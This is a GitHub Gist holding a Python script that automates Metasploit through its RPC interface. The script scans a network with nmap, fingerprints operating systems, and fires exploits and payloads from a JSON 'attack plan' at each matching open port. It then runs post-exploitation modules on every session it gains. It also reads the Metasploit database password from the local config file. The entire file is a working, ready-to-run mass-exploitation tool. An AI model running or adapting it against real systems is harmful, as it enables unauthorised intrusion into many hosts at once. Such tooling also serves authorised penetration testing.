Created
October 13, 2017 00:35
-
-
Save sdshlanta/4b9d1a4d1b005ac7fe8f786dbd4900fd to your computer and use it in GitHub Desktop.
A Metasploit automation tool
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# horible monkey patching bullshit :P | |
import metasploit.msfrpc as msfrpc | |
# we need this because even though our replacement MsfModule.__init__ will go into the namespace of msfrpc | |
# this namespace is the highest it knows about and can't actually see into the namespace of msfrpc unless | |
# we bring stuff here. | |
from metasploit.msfrpc import MsfRpcMethod | |
def MsfModule__init__(self, rpc, mtype, mname): | |
""" | |
Initializes an msf module object. | |
Mandatory Arguments: | |
- rpc : the msfrpc client object. | |
- mtype : the module type (e.g. 'exploit') | |
- mname : the module name (e.g. 'exploits/windows/http/icecast_header') | |
""" | |
self.moduletype = mtype | |
self.modulename = mname | |
self.rpc = rpc | |
self._info = rpc.call(MsfRpcMethod.ModuleInfo, mtype, mname) | |
property_attributes = ["advanced", "evasion", "options", "required", "runoptions"] | |
for k in self._info: | |
if k not in property_attributes: | |
# don't try to set property attributes | |
setattr(self, k, self._info.get(k)) | |
self._moptions = rpc.call(MsfRpcMethod.ModuleOptions, mtype, mname) | |
self._roptions = [] | |
self._aoptions = [] | |
self._eoptions = [] | |
self._runopts = {} | |
for o in self._moptions: | |
if self._moptions[o]['required']: | |
self._roptions.append(o) | |
if self._moptions[o]['advanced']: | |
self._aoptions.append(o) | |
if self._moptions[o]['evasion']: | |
self._eoptions.append(o) | |
if 'default' in self._moptions[o]: | |
self._runopts[o] = self._moptions[o]['default'] | |
# Override MsfModule's __init__ with one that doesn't break things | |
msfrpc.MsfModule.__init__ = MsfModule__init__ | |
from metasploit.msfrpc import MsfRpcClient | |
from libnmap.parser import NmapParser | |
from libnmap.process import NmapProcess | |
import json | |
import time | |
import os | |
import sys | |
import threading | |
import socket | |
import code | |
import argparse | |
import yaml | |
def getDatabasePassword(path): | |
with open(path, 'r') as dbConfigFile: | |
dbConfig = yaml.load(dbConfigFile) | |
dbPassword = dbConfig['production']['password'] | |
return dbPassword | |
def connectToRpc(password, port=55553): | |
e = True | |
while e: | |
try: | |
msfClient = MsfRpcClient(password=password, ssl=False, verify_ssl=False, port=port) | |
e = False | |
except socket.error as e: | |
print(str(e)) | |
time.sleep(1) | |
return msfClient | |
def parseAttackPlan(filename): | |
# should validate the sploits and payloads | |
with open(filename, 'r') as fp: | |
attackPlanJson = json.load(fp) | |
return attackPlanJson | |
def scanHosts(hostRange): | |
nmapProc = NmapProcess(targets=hostRange, options="-O --system-dns") | |
nmapProc.run_background() | |
while nmapProc.is_running(): | |
print("Nmap Scan running: ETC: {0} DONE: {1}%".format(nmapProc.etc , nmapProc.progress)) | |
time.sleep(2) | |
return nmapProc.stdout | |
def attackHost(host, msf, attackPlan): | |
hostOS = '' | |
if not host.os_fingerprinted: | |
return | |
osProbs = host.os_match_probabilities() | |
if osProbs: | |
for probs in osProbs: | |
for os_ in probs.osclasses: | |
try: | |
hostOs = os_.osfamily.lower() | |
attackPlan = attackPlan[hostOs] | |
break | |
except KeyError: | |
pass | |
else: | |
return | |
try: | |
msf.db.workspaces.current.hosts.report(host.address, os_name=hostOs) | |
except UnboundLocalError: | |
return | |
for port in [str(port[0]) for port in host.get_open_ports()]: | |
if port in attackPlan: | |
for attack in attackPlan[port]: | |
print(attack['exploit']) | |
exploit = msf.modules.use('exploit', attack['exploit']) | |
# print(exploit.payloads) | |
if 'options' in attack: | |
exploit.update(attack['options']) | |
exploit['RHOST'] = host.address | |
if 'payload' in attack: | |
results = exploit.execute(payload=attack['payload']) | |
else: | |
results = exploit.execute() | |
print(results) | |
# code.interact(local=locals()) | |
# print(host) | |
def main(): | |
if os.path.exists(args.databasePasswordFile): | |
databasePassword = getDatabasePassword(args.databasePasswordFile) | |
else: | |
print("Unable to find database config file: %s" % args.databasePasswordFile) | |
sys.exit() | |
attackPlan = parseAttackPlan(args.attackPlan) | |
msfClient = connectToRpc(args.password) | |
msfClient.db.connect(username="msf", database="msf", password=databasePassword, host="localhost") | |
print(msfClient.db.status) | |
if args.scan: | |
nmScan = scanHosts(args.scan) | |
nmapRep = NmapParser.parse(nmScan) | |
elif os.path.exists(args.file): | |
nmapRep = NmapParser.parse_fromfile(args.file) | |
else: | |
print("Invalid file: %s" % args.file) | |
sys.exit() | |
# fill in some info in the database for armitage | |
for host in nmapRep.hosts: | |
if host.status == "up": | |
hostOs = '' | |
if host.os_fingerprinted: | |
osProbs = host.os_match_probabilities() | |
for probs in osProbs: | |
for os_ in probs.osclasses: | |
hostOs = os_.osfamily.lower() | |
msfClient.db.workspaces.current.hosts.report(host.address, os_name=hostOs) | |
result = attackHost(host, msfClient, attackPlan) | |
# execute post modules | |
# if the lib wasn't broken I wouldn't have to do all this shit | |
for opsys in attackPlan: | |
osHosts = [host['address'] for host in filter(lambda x: x['os_name'] == opsys, msfClient.db.workspaces.current.hosts.list)] | |
sessionIDs = [] | |
for sessionID, sessionInfo in msfClient.sessions.list.items(): | |
if sessionInfo["session_host"] in osHosts: | |
sessionIDs.append(sessionID) | |
for sessionID in sessionIDs: | |
for postScript in attackPlan[opsys]['post']: | |
print(postScript['module']) | |
typeMarker = postScript['module'].index("/") | |
moduleType = postScript['module'][:typeMarker] # get the type of module | |
moduleName = postScript['module'][typeMarker+1:] # get the name of the module | |
postModule = msfClient.modules.use(moduleType, moduleName) | |
if 'options' in postScript: | |
postModule.update(postScript['options']) | |
postModule['SESSION'] = sessionID | |
results = postModule.execute() | |
print(results) | |
from pprint import pprint | |
pprint(msfClient.sessions.list) | |
if __name__ == '__main__': | |
parser = argparse.ArgumentParser() | |
parser.add_argument('-a', '--attackPlan', type=str, default='attackPlan.json', help="The path to the JSON file specifiing the attack plan") | |
parser.add_argument('-p', '--password', type=str, help="The password for the MSFRPC") | |
parser.add_argument('-D', '--databasePasswordFile', type=str,default="/usr/share/metasploit-framework/config/database.yml", help="The path to the metasploit database config file") | |
parser.add_argument('-P', '--port', type=int, default=55553, help="Port number of the RPC server. Default: 55553" ) | |
mxg = parser.add_mutually_exclusive_group(required=True) | |
mxg.add_argument('-f', '--file', type=str, default='out.xml', help="The xml output form a nmap scan.") | |
mxg.add_argument('-s', '--scan', type=str, default=None, help="A valid nmap host specification string") | |
args = parser.parse_args() | |
args.file = os.path.abspath(args.file) | |
args.databasePasswordFile = os.path.abspath(args.databasePasswordFile) | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment